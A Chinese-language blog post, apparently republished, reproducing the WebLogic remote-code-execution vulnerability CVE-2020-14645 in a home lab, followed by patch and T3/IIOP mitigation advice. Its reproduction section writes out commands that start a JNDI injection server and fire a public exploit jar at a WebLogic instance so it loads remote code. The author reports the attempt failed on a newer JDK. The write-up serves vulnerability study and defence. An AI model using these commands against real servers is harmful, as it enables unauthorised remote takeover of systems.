CVE-2020-14645 Weblogic遠程代碼執行漏洞復現


CVE-2020-14645 Weblogic遠程代碼執行漏洞復現

漏洞介紹

今日,Oracle官方發布WebLogic安全更新,其中修復了一個CVSS評分為9.8的嚴重漏洞(CVE-2020-14645),該漏洞通過T3協議進行利用,攻擊者可以實現遠程代碼執行,進而控制服務器。由於漏洞利用復雜度低,風險高,建議盡快修復。

WebLogic是美國Oracle公司出品的一個application server,是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。Oracle WebLogic Server存在遠程代碼執行漏洞。

攻擊者可利用該漏洞實現遠程代碼執行。該反序列化的gadget存在與coherence包中。編號CVE-2020-14645。

構造chain類似於common-collection的chain,可以照葫蘆畫瓢。

mvn 好像不能下載coherence包,很奇怪,直接下jar包就行。

反序列化的對象,通過t3發送給weblogic即可。所以,這個只是生成payload的工具。

影響范圍

  • Oracle Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 14.1.1.0.0

環境搭建

WebLogic 12.2.1.4官方下載鏈接:

https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip

下載JDK 6u211/7u201/8u191任意版本並配置環境變量

JDK8u191
下載地址:https://pan.baidu.com/s/1cCtSolwsZCmL7xN6orTjTw
提取碼:nmi1

用管理員權限打開CMD命令

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

全部點擊下一步,勾選自主啟動配置向導選項

創建新域並勾選所有模板,點擊下一步至安裝完成

安裝成功后,跳到base_domain目錄下

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

運行startWebLogic.cmd

可訪問7001端口(http://192.168.1.111:7001/console/login/LoginForm.jsp),說明環境部署成功

漏洞復現

JNDI工具下載地址

https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]

使用JNDI工具搭建LDAP和HTTP服務,注意不能占用8180/1099/1389三個端口,修改要執行的命令后回車,會同時啟動LDAP/RMI/HTTP三種服務,並且自動編譯好帶命令的class文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.1.236

使用CVE-2020-14645漏洞驗證工具

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.1.111:7001

輸入JNDI工具搭建LDAP地址和端口

java -jar CVE-2020-14645.jar 192.168.1.236:1389/mcq0vt http://192.168.1.111:7001

輸入命令請求LDAP服務,執行自動編譯的class文件,成功彈出計算器(失敗,無法彈出計算器)

PS:java版本<jdk 6u211/7u201/8u191,我用的是8u191,最后沒有復現成功,通過本地測試發現報錯如下:

​ 原因是在更高版本的JDK環境中trustURLCodebase變量為false,限制了遠程類的加載。

修復建議

1、官方修復方案

Oracle已經發布補丁修復了上述漏洞,請用戶參考官方通告及時下載受影響產品更新補丁,並參照補丁安裝包中的readme文件進行安裝更新,以保證長期有效的防護。

注:Oracle官方補丁需要用戶持有正版軟件的許可賬號,使用該賬號登陸https://support.oracle.com后,可以下載最新補丁。

2、臨時解決方案

用戶可通過控制T3協議的訪問來臨時阻斷針對這些漏洞的攻擊。操作方法如下:

  1. 進入WebLogic控制台,在base_domain的配置頁面中,進入“安全”選項卡頁面,點擊“篩選器”,進入連接篩選器配置。
  2. 在連接篩選器中輸入:weblogic.security.net.ConnectionFilterImpl,參考以下寫法,在連接篩選器規則中配置符合企業實際情況的規則:
127.0.0.1 * * allow t3 t3s
本機IP * * allow t3 t3s
允許訪問的IP  * * allow t3 t3s  
* * * deny t3 t3s
  1. 保存后若規則未生效,建議重新啟動WebLogic服務(重啟WebLogic服務會導致業務中斷,建議相關人員評估風險后,再進行操作)。

3、禁用IIOP協議。

可通過關閉 IIOP 協議對此漏洞進行緩解。操作如下:

  1. 在 Weblogic 控制台中,選擇“服務”->”AdminServer”->”協議”,取消“啟用 IIOP”的勾選。

  2. 並重啟 Weblogic 項目,使配置生效。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM